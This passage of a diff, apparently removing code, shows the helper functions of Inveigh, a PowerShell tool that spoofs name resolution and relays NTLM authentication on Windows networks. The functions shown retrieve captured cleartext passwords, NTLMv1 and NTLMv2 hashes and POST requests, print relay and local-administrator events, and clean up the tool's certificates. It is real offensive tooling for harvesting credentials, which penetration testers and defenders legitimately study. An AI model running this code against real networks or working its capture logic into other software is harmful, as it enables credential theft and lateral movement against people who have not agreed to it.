$inveigh.NTLMv2_username_list) - { - Write-Output($NTLMv2_username + $inveigh.newline) - } - - } - else - { - Write-Output("$(Get-Date -format 's') - No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) - } - - $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - - } - - if($inveigh.console_input) - { - - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } - - } - - Start-Sleep -m 5 - } - - } - -} -finally -{ - - if($Tool -eq 2) - { - $inveigh.relay_running = $false - } - -} - -} -#End Invoke-InveighRelay - -function Stop-Inveigh -{ -<# -.SYNOPSIS -Stop-Inveigh will stop all running Inveigh functions. -#> - -if($inveigh) -{ - - if($inveigh.running -or $inveigh.relay_running) - { - - if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) - { - - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) - - ForEach($certificate in $certificates) - { - $certificate_store.Remove($certificate) - } - - $certificate_store.Close() - } - catch - { - Write-Output("SSL Certificate Deletion Error - Remove Manually") - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null - } - - } - - } - - if($inveigh.relay_running) - { - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh Relay exited" | Out-File $Inveigh.log_out_file -Append - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited") > $null - } - - Write-Output("Inveigh Relay exited at $(Get-Date -format 's')") - $inveigh.relay_running = $false - - } - - if($inveigh.running) - { - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh exited" | Out-File $Inveigh.log_out_file -Append - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited") > $null - } - - Write-Output("Inveigh exited at $(Get-Date -format 's')") - $inveigh.running = $false - - } - - $inveigh.HTTPS = $false - Start-Sleep -S 5 - } - else - { - Write-Output("There are no running Inveigh functions") - } - -} - -} - -function Get-Inveigh -{ -<# -.SYNOPSIS -Get-Inveigh will get stored Inveigh data from memory. - -.PARAMETER Console -Get queued console output. This is also the default if no parameters are set. - -.PARAMETER Learning -Get valid hosts discovered through spoofer learning. - -.PARAMETER Log -Get log entries. - -.PARAMETER Cleartext -Get captured cleartext credentials. - -.PARAMETER CleartextUnique -Get unique captured cleartext credentials. - -.PARAMETER NTLMv1 -Get captured NTLMv1 challenge/response hashes. - -.PARAMETER NTLMv1Unique -Get the first captured NTLMv1 challenge/response for each unique account. - -.PARAMETER NTLMv1Usernames -Get IP addresses and usernames for captured NTLMv2 challenge/response hashes. - -.PARAMETER NTLMv2 -Get captured NTLMv1 challenge/response hashes. - -.PARAMETER NTLMv2Unique -Get the first captured NTLMv2 challenge/response for each unique account. - -.PARAMETER NTLMv2Usernames -Get IP addresses and usernames for captured NTLMv2 challenge/response hashes. - -.PARAMETER POSTRequest -Get captured POST requests. - -.PARAMETER POSTRequestUnique -Get unique captured POST request. -#> - -[CmdletBinding()] -param -( - [parameter(Mandatory=$false)][Switch]$Cleartext, - [parameter(Mandatory=$false)][Switch]$CleartextUnique, - [parameter(Mandatory=$false)][Switch]$Console, - [parameter(Mandatory=$false)][Switch]$Learning, - [parameter(Mandatory=$false)][Switch]$Log, - [parameter(Mandatory=$false)][Switch]$NTLMv1, - [parameter(Mandatory=$false)][Switch]$NTLMv2, - [parameter(Mandatory=$false)][Switch]$NTLMv1Unique, - [parameter(Mandatory=$false)][Switch]$NTLMv2Unique, - [parameter(Mandatory=$false)][Switch]$NTLMv1Usernames, - [parameter(Mandatory=$false)][Switch]$NTLMv2Usernames, - [parameter(Mandatory=$false)][Switch]$POSTRequest, - [parameter(Mandatory=$false)][Switch]$POSTRequestUnique, - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if($Console -or $PSBoundParameters.Count -eq 0) -{ - - while($inveigh.console_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveAt(0) - } - else - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - } - - } - - } - -} - -if($Log) -{ - Write-Output $inveigh.log -} - -if($NTLMv1) -{ - Write-Output $inveigh.NTLMv1_list -} - -if($NTLMv1Unique) -{ - $inveigh.NTLMv1_list.Sort() - - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) - { - $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) - - if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) - { - Write-Output $unique_NTLMv1 - } - - $unique_NTLMv1_account_last = $unique_NTLMv1_account - } - -} - -if($NTLMv1Usernames) -{ - Write-Output $inveigh.NTLMv2_username_list -} - -if($NTLMv2) -{ - Write-Output $inveigh.NTLMv2_list -} - -if($NTLMv2Unique) -{ - $inveigh.NTLMv2_list.Sort() - - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) - { - $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) - - if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) - { - Write-Output $unique_NTLMv2 - } - - $unique_NTLMv2_account_last = $unique_NTLMv2_account - } - -} - -if($NTLMv2Usernames) -{ - Write-Output $inveigh.NTLMv2_username_list -} - -if($Cleartext) -{ - Write-Output $inveigh.cleartext_list -} - -if($CleartextUnique) -{ - Write-Output $inveigh.cleartext_list | Get-Unique -} - -if($POSTRequest) -{ - Write-Output $inveigh.POST_request_list -} - -if($POSTRequestUnique) -{ - Write-Output $inveigh.POST_request_list | Get-Unique -} - -if($Learning) -{ - Write-Output $inveigh.valid_host_list -} - -} - -function Watch-Inveigh -{ -<# -.SYNOPSIS -Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell. - -.PARAMETER ConsoleOutput -(Medium,Low) Medium and Low can be used to reduce output. -#> - -[CmdletBinding()] -param -( - [parameter(Mandatory=$false)][ValidateSet("Low","Medium")][String]$ConsoleOutput = "Y", - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if($inveigh.tool -ne 1) -{ - - if($inveigh.running -or $inveigh.relay_running) - { - Write-Output "Press any key to stop real time console output" - $inveigh.console_output = $true - - :console_loop while((($inveigh.running -or $inveigh.relay_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) - { - - while($inveigh.console_queue.Count -gt 0) - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} - { - - if($ConsoleOutput -eq 'Y') - { - Write-Output $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveAt(0) - - } - - {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} - { - - if($ConsoleOutput -ne "Low") - { - Write-Output $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveAt(0) - - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - } - - } - - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } - - Start-Sleep -m 5 - } - - } - else - { - Write-Output "Inveigh isn't running" - } - -} -else -{ - Write-Output "Watch-Inveigh cannot be used with current external tool selection" -} - -} - -function Clear-Inveigh -{ -<# -.SYNOPSIS -Clear-Inveigh will clear Inveigh data from memory. -#> - -if($inveigh) -{ - - if(!$inveigh.running -and !$inveigh.relay_running) - { - Remove-Variable inveigh -scope global - Write-Output "Inveigh data has been cleared from memory" - } - else - { - Write-Output "Run Stop-Inveigh before running Clear-Inveigh" - } - -} - -}
\ No newline at end of file |